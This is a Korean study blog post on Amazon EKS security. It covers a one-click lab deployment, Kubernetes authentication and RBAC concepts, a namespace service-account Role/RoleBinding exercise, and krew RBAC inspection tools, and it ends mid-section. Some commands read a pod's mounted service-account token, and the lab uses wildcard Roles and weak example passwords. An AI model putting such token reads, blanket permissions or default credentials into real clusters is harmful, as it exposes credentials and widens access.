[AEWS 2기] EKS Security

EKS 스터디 CloudNet@팀의 AEWS 2기에 작성된 자료를 베이스로 작성된 블로깅입니다.

Amazon EKS (myeks) 윈클릭 배포

(bastion ec2 2대) & 기본 설정

# YAML 파일 다운로드
curl -O <https://s3.ap-northeast-2.amazonaws.com/cloudformation.cloudneta.net/K8S/**eks-oneclick5.yaml**>

# CloudFormation 스택 배포
예시) aws cloudformation deploy --template-file **eks-oneclick5.yaml** --stack-name **myeks** --parameter-overrides KeyName=**kp-gasida** SgIngressSshCidr=$(curl -s ipinfo.io/ip)/32  MyIamUserAccessKeyID=**AKIA5...** MyIamUserSecretAccessKey=**'CVNa2...'** ClusterBaseName=**myeks** --region ap-northeast-2

# CloudFormation 스택 배포 완료 후 작업용 EC2 IP 출력
aws cloudformation describe-stacks --stack-name **myeks** --query 'Stacks[*].**Outputs[0]**.OutputValue' --output text

# 작업용 EC2 SSH 접속
ssh -i **~/.ssh/kp-gasida.pem** **ec2-user**@$(aws cloudformation describe-stacks --stack-name **myeks** --query 'Stacks[*].Outputs[0].OutputValue' --output text)
or
ssh -i **~/.ssh/kp-gasida.pem** **root**@$(aws cloudformation describe-stacks --stack-name **myeks** --query 'Stacks[*].Outputs[0].OutputValue' --output text)
~ password: **qwe123**

생성된 스택을 확인해줍니다.

bastion 호스트 인스턴스 두개와 node group 인스턴스 두개가 생겼으면 됩니다.

 

# default 네임스페이스 적용
kubectl ns default

# 노드 정보 확인 : t3.medium
kubectl get node --label-columns=node.kubernetes.io/instance-type,eks.amazonaws.com/capacityType,topology.kubernetes.io/zone

# ExternalDNS
MyDomain=<자신의 도메인>
echo "export MyDomain=<자신의 도메인>" >> /etc/profile
(june@onthelook:default) [root@myeks-bastion ~]# MyDomain=onthelook.co.kr
(june@onthelook:default) [root@myeks-bastion ~]# echo "export MyDomain=onthelook.co.kr" >> /etc/profile
MyDnzHostedZoneId=$(aws route53 list-hosted-zones-by-name --dns-name "${MyDomain}." --query "HostedZones[0].Id" --output text)
echo $MyDomain, $MyDnzHostedZoneId
curl -s -O <https://raw.githubusercontent.com/gasida/PKOS/main/aews/externaldns.yaml>
MyDomain=$MyDomain MyDnzHostedZoneId=$MyDnzHostedZoneId envsubst < externaldns.yaml | kubectl apply -f -

# kube-ops-view
helm repo add geek-cookbook <https://geek-cookbook.github.io/charts/>
helm install kube-ops-view geek-cookbook/kube-ops-view --version 1.2.2 --set env.TZ="Asia/Seoul" --namespace kube-system
kubectl patch svc -n kube-system kube-ops-view -p '{"spec":{"type":"LoadBalancer"}}'
kubectl annotate service kube-ops-view -n kube-system "external-dns.alpha.kubernetes.io/hostname=kubeopsview.$MyDomain"
echo -e "Kube Ops View URL = "

# AWS LB Controller
helm repo add eks <https://aws.github.io/eks-charts>
helm repo update
helm install aws-load-balancer-controller eks/aws-load-balancer-controller -n kube-system --set clusterName=$CLUSTER_NAME \\
  --set serviceAccount.create=false --set serviceAccount.name=aws-load-balancer-controller

# gp3 스토리지 클래스 생성
kubectl apply -f <https://raw.githubusercontent.com/gasida/PKOS/main/aews/gp3-sc.yaml>
# 노드 IP 확인 및 PrivateIP 변수 지정
N1=$(kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2a -o jsonpath={.items[0].status.addresses[0].address})
N2=$(kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2b -o jsonpath={.items[0].status.addresses[0].address})
N3=$(kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2c -o jsonpath={.items[0].status.addresses[0].address})
echo "export N1=$N1" >> /etc/profile
echo "export N2=$N2" >> /etc/profile
echo "export N3=$N3" >> /etc/profile
echo $N1, $N2, $N3

# 노드 보안그룹 ID 확인
NGSGID=$(aws ec2 describe-security-groups --filters Name=group-name,Values=*ng1* --query "SecurityGroups[*].[GroupId]" --output text)
aws ec2 authorize-security-group-ingress --group-id $NGSGID --protocol '-1' --cidr **192.168.1.100/32**
aws ec2 authorize-security-group-ingress --group-id $NGSGID --protocol '-1' --cidr **192.168.1.200/32**

# 워커 노드 SSH 접속
for node in $N1 $N2 $N3; do ssh -o StrictHostKeyChecking=no ec2-user@$node hostname; done
for node in $N1 $N2 $N3; do ssh ec2-user@$node hostname; done

기본 설정들을 해줍니다.

# 사용 리전의 인증서 ARN 확인
CERT_ARN=`aws acm list-certificates --query 'CertificateSummaryList[].CertificateArn[]' --output text`
echo $CERT_ARN

# repo 추가
helm repo add prometheus-community <https://prometheus-community.github.io/helm-charts>

# 파라미터 파일 생성 : PV/PVC(AWS EBS) 삭제에 불편하니, 4주차 실습과 다르게 PV/PVC 미사용
cat < monitor-values.yaml
**prometheus**:
  prometheusSpec:
    podMonitorSelectorNilUsesHelmValues: false
    serviceMonitorSelectorNilUsesHelmValues: false
    retention: 5d
    retentionSize: "10GiB"

  ingress:
    enabled: true
    ingressClassName: alb
    hosts: 
      - prometheus.$MyDomain
    paths: 
      - /*
    annotations:
      alb.ingress.kubernetes.io/scheme: internet-facing
      alb.ingress.kubernetes.io/target-type: ip
      alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":443}, {"HTTP":80}]'
      alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
      alb.ingress.kubernetes.io/success-codes: 200-399
      alb.ingress.kubernetes.io/load-balancer-name: myeks-ingress-alb
      alb.ingress.kubernetes.io/group.name: study
      alb.ingress.kubernetes.io/ssl-redirect: '443'

**grafana**:
  defaultDashboardsTimezone: Asia/Seoul
  adminPassword: prom-operator
  **defaultDashboardsEnabled: false**

  ingress:
    enabled: true
    ingressClassName: alb
    hosts: 
      - grafana.$MyDomain
    paths: 
      - /*
    annotations:
      alb.ingress.kubernetes.io/scheme: internet-facing
      alb.ingress.kubernetes.io/target-type: ip
      alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":443}, {"HTTP":80}]'
      alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
      alb.ingress.kubernetes.io/success-codes: 200-399
      alb.ingress.kubernetes.io/load-balancer-name: myeks-ingress-alb
      alb.ingress.kubernetes.io/group.name: study
      alb.ingress.kubernetes.io/ssl-redirect: '443'

alertmanager:
  enabled: false
EOT
cat monitor-values.yaml | yh

# 배포
**kubectl create ns monitoring**
helm install kube-prometheus-stack prometheus-community/kube-prometheus-stack --version **57.2.0** \\
--**set** prometheus.prometheusSpec.scrapeInterval='15s' --**set** prometheus.prometheusSpec.evaluationInterval='15s' \\
-f **monitor-values.yaml** --namespace monitoring

# Metrics-server 배포
kubectl apply -f <https://github.com/kubernetes-sigs/metrics-server/releases/latest/download/components.yaml>
****
# 프로메테우스 ingress 도메인으로 웹 접속
echo -e "Prometheus Web URL = "

# 그라파나 웹 접속 : 기본 계정 - **admin / prom-operator**
echo -e "Grafana Web URL = "

acm 작업을 해주고, 그라파나와 프로메테우스를 배포해줍니다.

그라파나의 비밀번호는 admin / prom-operator

그리고 대시보드 추천 번호는 15757 17900 15172 입니다.

이렇게 Url을 확인하면 됩니다.


K8S 인증/인가

https://somaz.tistory.com/221

https://kubetm.github.io/k8s/07-intermediate-basic-resource/authentication/

https://kubetm.github.io/k8s/07-intermediate-basic-resource/authorization/

다음 글을 참고합니다.

Kubernetes API 서버에 대한 보안은 크게 인증(Authentication), 권한 부여(Authorization), 그리고 Admission Control의 세 가지 주요 부분으로 나뉩니다. 각 부분은 클러스터의 보안을 강화하는데 중요한 역할을 합니다.

1. 인증 (Authentication)

인증은 사용자가 누구인지 확인하는 과정입니다. Kubernetes에서는 크게 두 가지 관점에서의 접근을 고려합니다: 클러스터 외부와 내부입니다.

클러스터 외부 접근 (User Account 관점):

  • X509 Client Certificates: 사용자는 HTTPS 인증서를 통해 API 서버에 안전하게 접근할 수 있습니다. kubeconfig 파일에는 CA 인증서, 클라이언트 인증서, 클라이언트 개인 키가 포함되어 있으며, 이 정보를 통해 사용자는 인증을 받습니다.
  • Kubectl 접근: kubectl 명령어를 사용해 클러스터에 접근할 때, 사전에 설정된 kubeconfig 정보를 바탕으로 인증 과정을 거칩니다. contexts 기능을 통해 여러 클러스터 간에 쉽게 전환하며 접근할 수 있습니다.

클러스터 내부 접근 (Service Account, SA 관점):

  • Service Accounts (SA): Pod 내에서 실행되는 애플리케이션이 API 서버에 접근할 때 사용합니다. 각 Pod는 SA를 통해 특정 권한을 가지고 API 서버와 통신할 수 있습니다. 기본적으로 모든 Namespace에 접근 가능한 default SA가 존재합니다.

2. 권한 부여 (Authorization)

인증 과정을 통과한 후, 요청이 허용된 작업인지 결정하기 위한 단계입니다. Kubernetes는 Role-Based Access Control (RBAC) 등 여러 권한 부여 메커니즘을 제공합니다. 이를 통해 사용자나 SA가 수행할 수 있는 작업을 세밀하게 제어할 수 있습니다.

3. Admission Control

Admission Control은 인증 및 권한 부여 후, 요청이 실제로 처리되기 전에 적용되는 추가적인 검사 단계입니다. 클러스터 관리자가 설정한 다양한 정책(보안, 정책 준수, 리소스 제한 등)에 따라 요청을 검사하고 조건을 확인합니다. 이는 클러스터의 안정성과 보안을 유지하는 데 필수적인 역할을 합니다.

각 단계는 클러스터의 보안과 효율적인 관리를 위해 중요합니다. 인증은 '누가' 요청하는지, 권한 부여는 '무엇을' 할 수 있는지, Admission Control은 '어떻게' 요청을 처리할지 결정하는 과정입니다. 이러한 과정을 통해 쿠버네티스 클러스터는 안전하고 효율적으로 운영될 수 있습니다.


인가(Authorization)

쿠버네티스에서 인가(Authorization)는 사용자나 시스템이 클러스터 내에서 어떤 작업을 수행할 수 있는지 결정하는 과정입니다.

가장 널리 사용되는 인가 방식 중 하나는 RBAC(Role-Based Access Control)입니다.

이 방식은 사용자의 역할에 기반하여 접근 권한을 제어합니다.

RBAC를 이해하려면 몇 가지 핵심 개념을 알아야 합니다: 역할(Roles), 역할 바인딩(RoleBindings), 서비스 계정(Service Accounts), 그리고 클러스터 역할(ClusterRoles) 및 클러스터 역할 바인딩(ClusterRoleBindings)입니다.

핵심 개념:

  • 역할(Roles): 특정 네임스페이스에서 수행할 수 있는 작업 집합을 정의합니다.
  • 역할 바인딩(RoleBindings): 특정 사용자, 그룹, 또는 서비스 계정을 역할에 연결하여 권한을 부여합니다.
  • 서비스 계정(Service Accounts): 쿠버네티스에서 애플리케이션이나 서비스를 실행하는 데 사용되는 계정입니다.
  • 클러스터 역할(ClusterRoles): 클러스터 전체에서 공통적으로 수행할 수 있는 작업 집합을 정의합니다.
  • 클러스터 역할 바인딩(ClusterRoleBindings): 클러스터 역할을 사용자, 그룹, 또는 서비스 계정에 연결합니다.

인가 처리 과정:

  1. 서비스 계정(SA)생성: 우선, 애플리케이션 또는 서비스가 사용할 서비스 계정을 생성합니다.
  2. RBAC 권한 정의: 필요한 작업(리소스 생성, 조회, 수정 등)에 대한 권한을 역할 또는 클러스터 역할로 정의합니다.
  3. 권한 부여: 역할 바인딩 또는 클러스터 역할 바인딩(RoleBinding or ClusterRoleBinding)을 통해 서비스 계정에 앞서 정의한 권한을 부여합니다.

kubernetes의 자원은 Cluster 단위와 Namespace 단위로 관리되는 것이 있습니다.

  • Cluster 단위로 관리되는 자원 - Node, PV, Namespace
  • Namespace 단위로 관리되는 자원 - Pod, Svc

Namespace를 만들면 자동으로 SA가 생성되고, SA에 Role을 어떻게 바인딩하는지에 따라 접근할 수 있는 자원이 달라지게됩니다.

인가 시나리오:

  • Case 1 (Namespace 리소스 접근): 네임스페이스 내 리소스에 대한 접근 권한을 제어하기 위해 역할(Role)을 생성하고, 해당 역할을 역할 바인딩(RoleBinding)을 통해 서비스 계정에 연결합니다.
  • Case 2 (클러스터 리소스 접근): 클러스터 전체 리소스에 대한 접근 권한을 제어하기 위해 클러스터 역할(ClusterRole)을 생성하고, 해당 클러스터 역할을 클러스터 역할 바인딩(ClusterRoleBinding)을 통해 서비스 계정에 연결합니다.
  • Case 3 (클러스터 리소스 접근 제한): 특정 네임스페이스 내 리소스에만 접근하도록 제한하려면, 클러스터 역할(ClusterRole)을 생성하고 역할 바인딩(RoleBinding)을 통해 서비스 계정에 연결합니다. 이 방식은 네임스페이스 리소스에 대한 접근은 허용하지만, 클러스터 수준의 리소스 접근은 허용하지 않습니다.

RBAC는 쿠버네티스 클러스터 내에서 세밀한 접근 제어를 가능하게 합니다.

사용자와 SA에 필요한 최소한의 권한만 부여함으로써, 클러스터의 보안을 강화하고 잠재적인 리스크를 줄일 수 있습니다. RBAC 설정은 쿠버네티스 클러스터를 효율적이고 안전하게 관리하는 데 필수적인 요소입니다.


실습

cat .kube/config

1 클러스터 이름

2 사용자 이름

3 임시 자격 증명 발급 정보 입니다. (Regional EP)

 

실습 Namespace 마다 서비스 어카운트 SA - RBAC 적용

이 실습은 각각의 네임스페이스에 접근 가능한 인증/인가를 설정해 보는 것에 목표를 둡니다.

# 네임스페이스(Namespace, NS) 생성 및 확인
**kubectl create namespace dev-team
kubectl create ns infra-team**

# 네임스페이스 확인
kubectl get ns

dev-team과 infra-team이라는 두 개의 네임스페이스를 생성했습니다. 네임스페이스는 클러스터 내의 자원을 논리적으로 분리하는 방법으로 될 것입니다.

각각 dev-team 네임 스페이스와 infra-team 스페이스가 생성된것을 확인했습니다.

 

# 네임스페이스에 각각 서비스 어카운트 생성 : serviceaccounts 약자(=sa)
**kubectl create sa dev-k8s -n dev-team
kubectl create sa infra-k8s -n infra-team**

# 서비스 어카운트 정보 확인
kubectl get sa -n dev-team
kubectl get sa dev-k8s -n dev-team -o yaml | yh

kubectl get sa -n infra-team
kubectl get sa infra-k8s -n infra-team -o yaml | yh

  • dev-team 네임스페이스에 dev-k8s라는 서비스 계정을 생성했습니다.
  • infra-team 네임스페이스에 infra-k8s라는 서비스 계정을 생성했습니다.
  • kubectl get sa -n <namespace> 명령어를 사용하여 각 네임스페이스 내의 서비스 계정 정보를 확인했습니다.

생성된 SA를 이용하여 Pod를 만들기

cat <<EOF | kubectl create -f -
apiVersion: v1
kind: Pod
metadata:
  name: **dev-kubectl**
  namespace: dev-team
spec:
  serviceAccountName: **dev-k8s**
  containers:
  - name: kubectl-pod
    image: bitnami/kubectl:**1.28.5**
    command: ["tail"]
    args: ["-f", "/dev/null"]
  terminationGracePeriodSeconds: 0
EOF

cat <<EOF | kubectl create -f -
apiVersion: v1
kind: Pod
metadata:
  name: **infra-kubectl**
  namespace: infra-team
spec:
  serviceAccountName: **infra-k8s**
  containers:
  - name: kubectl-pod
    image: bitnami/kubectl:**1.28.5**
    command: ["tail"]
    args: ["-f", "/dev/null"]
  terminationGracePeriodSeconds: 0
EOF
# 확인
kubectl get pod -A
kubectl get pod -o dev-kubectl -n dev-team -o yaml
 serviceAccount: dev-k8s
 ...
kubectl get pod -o infra-kubectl -n infra-team -o yaml
 serviceAccount: infra-k8s
...

각각의 네임스페이스에 파드가 생성된 것 확인할 수 있습니다.

metadata:
  name: dev-kubectl
  namespace: dev-team
spec:
  serviceAccountName: dev-k8s
metadata:
  name: infra-kubectl
  namespace: infra-team
spec:
  serviceAccountName: infra-k8s

이 두 부분이 차이를 만들어냇습니다.

metadata 섹션:

  • name: dev-kubectl과 infra-kubectl로 서로 다른 이름을 사용해 각 Pod를 구분했습니다.
  • namespace: Pod가 생성될 네임스페이스를 지정합니다. dev-team과 infra-team으로 지정해 각 팀의 리소스가 서로 격리되도록 했습니다.

spec 섹션:

  • serviceAccountName: Pod가 사용할 서비스 계정을 지정했습니다. 여기서는 dev-k8s와 infra-k8s로 지정해 각 Pod가 해당 네임스페이스 내의 특정 서비스 계정의 권한으로 실행되도록 했습니다

파드에 적용되는 SA 토큰 정보 확인

# 파드에 기본 적용되는 서비스 어카운트(토큰) 정보 확인
kubectl exec -it dev-kubectl -n dev-team -- ls /run/secrets/kubernetes.io/serviceaccount**
kubectl exec -it dev-kubectl -n dev-team -- cat /run/secrets/kubernetes.io/serviceaccount/token
kubectl exec -it dev-kubectl -n dev-team -- cat /run/secrets/kubernetes.io/serviceaccount/namespace
kubectl exec -it dev-kubectl -n dev-team -- cat /run/secrets/kubernetes.io/serviceaccount/ca.crt

kubectl get pod -o dev-kubectl -n dev-team -o yaml | grep serviceAccount
kubectl get pod -o infra-kubectl -n infra-team -o yaml | grep serviceAccount

서비스 계정의 시크릿 파일 확인

  • kubectl exec -it <pod-name> -n <namespace> -- ls /run/secrets/kubernetes.io/serviceaccount 명령어로 해당 디렉토리에 어떤 인증 관련 파일이 있는지 확인할 수 있습니다.
  • ca.crt는 API 서버와의 통신을 위한 CA 인증서, namespace는 Pod가 실행되는 네임스페이스, token은 API 서버와의 인증에 사용되는 서비스 계정 토큰입니다.

서비스 계정 정보 확인:

  • kubectl get pod -o <pod-name> -n <namespace> -o yaml | grep serviceAccount 명령어를 사용해, 특정 Pod가 사용하는 서비스 계정 정보를 확인합니다.
  • 이 정보는 Pod가 쿠버네티스 API와 상호작용할 때 어떤 인증 정보를 사용하는지 파악하는 데 도움이 됩니다.

인증 토큰과 CA 인증서 내용 확인:

  • kubectl exec -it <pod-name> -n <namespace> -- cat /run/secrets/kubernetes.io/serviceaccount/token 명령어로 서비스 계정 토큰의 실제 내용을 확인할 수 있습니다.
  • 마찬가지로 ca.crt 파일의 내용도 확인할 수 있으며, 이는 클러스터와의 안전한 통신을 위해 필요한 CA 인증서입니다.

serviceAccountserviceAccountName 필드는 Pod가 실행될 때 사용할 서비스 계정을 지정합니다. 이는 쿠버네티스 API와의 인증에 사용됩니다.

/run/secrets/kubernetes.io/serviceaccount 디렉토리에는 서비스 계정과 관련된 인증 정보가 저장됩니다. 이 정보에는 API 서버와 안전하게 통신할 수 있도록 해주는 CA 인증서(ca.crt), 서비스 계정의 토큰(token), 그리고 Pod가 실행되는 네임스페이스(namespace)가 포함됩니다.

# 각각 파드로 Shell 접속하여 정보 확인 : 단축 명령어(alias) 사용
alias k1='kubectl exec -it dev-kubectl -n dev-team -- kubectl'
alias k2='kubectl exec -it infra-kubectl -n infra-team -- kubectl'

# 권한 테스트
k1 get pods # **kubectl exec -it dev-kubectl -n dev-team -- kubectl** get pods 와 동일한 실행 명령이다!
k1 run nginx --image nginx:1.20-alpine
k1 get pods -n kube-system

k2 get pods # **kubectl exec -it infra-kubectl -n infra-team -- kubectl** get pods 와 동일한 실행 명령이다!
k2 run nginx --image nginx:1.20-alpine
k2 get pods -n kube-system

# (옵션) kubectl auth can-i 로 kubectl 실행 사용자가 특정 권한을 가졌는지 확인
k1 auth can-i get pods
no

위 실행 로그들은 dev-k8s와 infra-k8s 서비스 계정이 dev-team과 infra-team 네임스페이스에서 Pod를 생성하거나 조회할 권한이 없음을 나타냅니다.

서비스 계정에 특정 권한을 명시적으로 부여하지 않으면, 해당 서비스 계정은 아무런 작업도 수행할 수 없습니다.

이럴때에 적절한 RBAC 권한을dev-k8s와 infra-k8s 서비스 계정에 부여하는 것으로 해결 될 수 있습니다.

예를 들어, dev-team 네임스페이스 내에서 Pod를 생성하고 조회할 수 있도록 하려면, 해당 서비스 계정에 Role과 RoleBinding을 생성하여 권한을 부여해야 합니다.

 

각각의 Namespace에 Role을 생성후 서비스 어카운트 바인딩

롤(Role)

특정 네임스페이스에 속한 리소스에 대한 접근 권한을 정의하는 객체입니다. 롤을 사용하면 해당 네임스페이스 내에서 특정 작업을 수행할 수 있는 권한을 서비스 계정이나 사용자에게 부여할 수 있습니다.

  • apiGroups: 접근을 제어하려는 리소스가 속한 API 그룹입니다. 쿠버네티스 API는 여러 그룹으로 나뉘어 있으며, 각 그룹은 서로 다른 리소스 타입을 포함합니다. 예를 들어, "" (빈 문자열)은 코어 그룹을 나타내며, 코어 그룹에는 Pod, Service 등이 포함됩니다.
  • resources: 접근을 제어하려는 리소스 타입입니다. 예를 들어 pods, services 등이 있습니다.
  • verbs: 리소스에 대해 수행할 수 있는 작업입니다. 여기에는 create, delete, get, list, patch, update, watch와 같은 동작이 포함됩니다. *을 사용하면 모든 작업을 의미합니다.

# 각각 네임스페이스내의 모든 권한에 대한 롤 생성
cat <<EOF | kubectl create -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: **Role**
metadata:
  name: role-dev-team
  namespace: dev-team
rules:
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["*"]
EOF

cat <<EOF | kubectl create -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: **Role**
metadata:
  name: role-infra-team
  namespace: infra-team
rules:
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["*"]
EOF

# 롤 확인 
kubectl get roles -n dev-team
kubectl get roles -n infra-team
kubectl get roles -n dev-team -o yaml
kubectl describe roles role-dev-team -n dev-team
...
PolicyRule:
  Resources  Non-Resource URLs  Resource Names  Verbs
  ---------  -----------------  --------------  -----
  *.*        []                 []              [*]

각 네임스페이스에 모든 권한에 대해서 롤을 생성했습니다.

role-dev-teamrole-infra-team 롤은 각각 dev-teaminfra-team 네임스페이스 내에서 모든 API 그룹(apiGroups: ["*"]), 모든 리소스(resources: ["*"]), 그리고 모든 작업(verbs: ["*"])에 대한 접근 권한을 부여하는 권한을 설정했습니다.

이는 해당 네임스페이스 내에서 실행되는 서비스 계정이 거의 모든 작업을 수행할 수 있도록 허용하는 것으로, 보통은 최소권한을 주긴 합니다.

롤(Role) 설명

  • apiGroups: "*"는 모든 API 그룹에 대한 접근을 의미합니다. 쿠버네티스는 여러 API 그룹으로 구성되어 있으며, "*" 설정은 모든 그룹에 속하는 리소스에 대한 작업을 허용합니다.
  • resources: "*"는 네임스페이스 내에서 가능한 모든 리소스 타입에 대한 접근을 허용합니다. 예를 들어, pods, services, deployments 등이 여기에 해당합니다.
  • verbs: "*"는 허용된 리소스에 대해 수행할 수 있는 모든 작업(생성, 삭제, 업데이트, 조회 등)을 허용합니다.

롤 바인딩(RoleBinding) 필요

이 롤들이 실제로 효력을 발휘하기 위해서는 롤 바인딩(RoleBinding)을 통해 특정 서비스 계정에 이 권한을 연결해주어야 합니다.

롤 바인딩은 롤에 정의된 권한을 사용자, 그룹, 또는 서비스 계정에 할당하는 역할을 합니다. 롤 바인딩 없이 롤을 생성만 해놓은 상태에서는 아무런 효과가 없음을 기억해야합니다.

롤 바인딩생성

# 롤바인딩 생성 : '서비스어카운트 <-> 롤' 간 서로 연동
cat <<EOF | kubectl create -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: **RoleBinding**
metadata:
  name: roleB-dev-team
  namespace: dev-team
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: Role
  name: role-dev-team
subjects:
- kind: ServiceAccount
  name: dev-k8s
  namespace: dev-team
EOF

cat <<EOF | kubectl create -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: **RoleBinding**
metadata:
  name: roleB-infra-team
  namespace: infra-team
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: Role
  name: role-infra-team
subjects:
- kind: ServiceAccount
  name: infra-k8s
  namespace: infra-team
EOF

# 롤바인딩 확인
kubectl get rolebindings -n dev-team
kubectl get rolebindings -n infra-team
kubectl get rolebindings -n dev-team -o yaml
kubectl describe rolebindings roleB-dev-team -n dev-team
...
Role:
  Kind:  Role
  Name:  role-dev-team
Subjects:
  Kind            Name     Namespace
  ----            ----     ---------
  ServiceAccount  dev-k8s  dev-team

dev-teaminfra-team 네임스페이스에 각각 role-dev-team 및 role-infra-team이라는 롤(Role)을 정의하고, 이를 dev-k8s와 infra-k8s 서비스 계정에 바인딩하는 RoleBinding을 생성했습니다.

해당 설정은 두 서비스 계정에 해당 네임스페이스 내에서 모든 리소스에 대해 모든 작업을 수행할 수 있는 권한을 부여합니다.

RoleBinding 설명

  • RoleBinding은 특정 롤(Role)에 정의된 권한을 특정 사용자, 그룹, 또는 서비스 계정에 할당하는 데 사용됩니다.
  • metadata 섹션에서는 RoleBinding의 이름과 네임스페이스를 정의합니다.
  • roleRef 섹션은 연결하려는 롤의 종류(Role)와 이름을 지정합니다. 이 예시에서는 role-dev-team과 role-infra-team 롤을 참조합니다.
  • subjects 섹션은 롤이 바인딩될 대상을 정의합니다. 이 경우 kind: ServiceAccount, name: dev-k8sinfra-k8s, 그리고 해당하는 네임스페이스를 지정하여 해당 서비스 계정에 롤을 연결합니다.

권한 부여의 결과

위 설정을 통해, dev-k8s 서비스 계정은 dev-team 네임스페이스 내에서, infra-k8s 서비스 계정은 infra-team 네임스페이스 내에서, 모든 API 그룹에 속하는 모든 리소스에 대해 모든 작업(create, delete, get, list, patch, update, watch)을 수행할 수 있을것으로 기대합니다.

서비스 어카운트를 지정하여 생성한 파드에서 다시 권한 테스트

# 각각 파드로 Shell 접속하여 정보 확인 : 단축 명령어(alias) 사용
alias k1='kubectl exec -it dev-kubectl -n dev-team -- kubectl'
alias k2='kubectl exec -it infra-kubectl -n infra-team -- kubectl'

# 권한 테스트
k1 get pods 
k1 run nginx --image nginx:1.20-alpine
k1 get pods
k1 delete pods nginx
k1 get pods -n kube-system
k1 get nodes

k2 get pods 
k2 run nginx --image nginx:1.20-alpine
k2 get pods
k2 delete pods nginx
k2 get pods -n kube-system
k2 get nodes

# (옵션) kubectl auth can-i 로 kubectl 실행 사용자가 특정 권한을 가졌는지 확인
k1 auth can-i get pods
yes

이전에 만든 롤(role-dev-team 및 role-infra-team)과 롤바인딩(roleB-dev-team 및 roleB-infra-team)이 성공적으로 적용되어 이제 dev-k8s와 infra-k8s 서비스 계정으로 각각 dev-team과 infra-team 네임스페이스 내에서 Pod를 생성하고 조회하는 것이 가능해진 것을 확인할 수 있습니다.

 [root@myeks-bastion ~]# k1 get nodes

Error from server (Forbidden): nodes is forbidden: User "system:serviceaccount:dev-team:dev-k8s" cannot list resource "nodes" in API group "" at the cluster scope

k1 get nodes: 이 명령은 실패했습니다. 이는 dev-k8s 서비스 계정이 nodes 리소스에 대한 list 권한이 없음을 나타냅니다. Role은 네임스페이스 수준에서의 권한을 정의하기 때문에, 클러스터 수준 리소스인 nodes에 대한 접근 권한을 부여할 수 없습니다. 클러스터 수준 리소스에 대한 접근 권한을 부여하려면 ClusterRole과 ClusterRoleBinding을 사용해야 합니다.

클린업

kubectl delete ns dev-team infra-team

EKS 인증/ 인가

동작 : 사용자/애플리케이션 → k8s 사용 시 ⇒ 인증은 AWS IAM, 인가는 K8S RBAC

RBAC 관련 krew 플러그인

# 설치
kubectl krew install access-matrix rbac-tool rbac-view rolesum whoami

# k8s 인증된 주체 확인
kubectl whoami
arn:aws:iam::9112...:user/admin

# Show an RBAC access matrix for server resources
kubectl access-matrix # Review access to cluster-scoped resources
kubectl access-matrix --namespace default # Review access to namespaced resources in 'default'

# RBAC Lookup by subject (user/group/serviceaccount) name
kubectl rbac-tool lookup
kubectl rbac-tool lookup system:masters
  SUBJECT        | SUBJECT TYPE | SCOPE       | NAMESPACE | ROLE
+----------------+--------------+-------------+-----------+---------------+
  system:masters | Group        | ClusterRole |           | cluster-admin

kubectl rbac-tool lookup system:nodes # eks:node-bootstrapper
kubectl rbac-tool lookup system:bootstrappers # eks:node-bootstrapper
kubectl describe ClusterRole eks:node-bootstrapper

# RBAC List Policy Rules For subject (user/group/serviceaccount) name
kubectl rbac-tool policy-rules
kubectl rbac-tool policy-rules -e '^system:.*'
kubectl rbac-tool policy-rules -e '^system:authenticated'

# Generate ClusterRole with all available permissions from the target cluster
kubectl rbac-tool show

# Shows the subject for the current context with which one authenticates with the cluster
kubectl rbac-tool whoami
{Username: "arn:aws:iam::911283...:user/admin",      <<-- 과거 "kubernetes-admin"에서 변경됨
 UID:      "aws-iam-authenticator:911283.:AIDA5ILF2FJI...",
 Groups:   ["system:authenticated"],                 <<-- 과거 "system:master"는 안보임
 Extra:    {accessKeyId:  ["AKIA5ILF2FJI....."],
            arn:          ["arn:aws:iam::9112834...:user/admin"],
            canonicalArn: ["arn:aws:iam::9112834...:user/admin"],
            principalId:  ["AIDA5ILF2FJI...."],
            sessionName:  [""]}}

# Summarize RBAC roles for subjects : ServiceAccount(default), User, Group
kubectl rolesum -h
kubectl rolesum aws-node -n kube-system
kubectl rolesum -k User system:kube-proxy
kubectl rolesum -k Group system:masters
kubectl rolesum -k Group system:authenticated
Policies:
• [CRB] */system:basic-user ⟶  [CR] */system:basic-user
  Resource                                       Name  Exclude  Verbs  G L W C U P D DC  
  selfsubjectaccessreviews.authorization.k8s.io  [*]     [-]     [-]   ✖ ✖ ✖ ✔ ✖ ✖ ✖ ✖   
  selfsubjectreviews.authentication.k8s.io       [*]     [-]     [-]   ✖ ✖ ✖ ✔ ✖ ✖ ✖ ✖   
  selfsubjectrulesreviews.authorization.k8s.io   [*]     [-]     [-]   ✖ ✖ ✖ ✔ ✖ ✖ ✖ ✖   
• [CRB] */system:discovery ⟶  [CR] */system:discovery
• [CRB] */system:public-info-viewer ⟶  [CR] */system:public-info-viewer

출력 내용은 현재 사용자가 클러스터의 다양한 리소스에 대해 어떤 동작(LIST, CREATE, UPDATE, DELETE)을 수행할 수 있는지 보여줍니다. 표시가 되어 있는것에 대해서는, 해당 동작을 수행할 수 없음을 나타냅니다. 하지만 일부 리소스에 대해서는 표시가 되어 있어, 해당 동작이 허용됨을 나타냅니다.

kubectl rbac-tool lookup 명령어 실행 결과는 쿠버네티스 클러스터 내의 RBAC(Role-Based Access Control, 역할 기반 접근 제어) 설정을 상세하게 보여주는 것으로, 사용자, 서비스 계정, 그룹 등의 '주체(subjects)'와 이들이 어떤 역할(롤) 또는 클러스터 역할(cluster roles)에 바인딩되어 있는지, 그리고 그 역할의 범위가 네임스페이스 내 역할인지(Role), 아니면 클러스터 전체에 적용되는 역할인지(ClusterRole)를 나타냅니다. 이를 통해 누가 어떤 리소스에 대해 어떤 행동을 할 수 있는지를 이해할 수 있습니다.

출력의 주요 구성 요소:

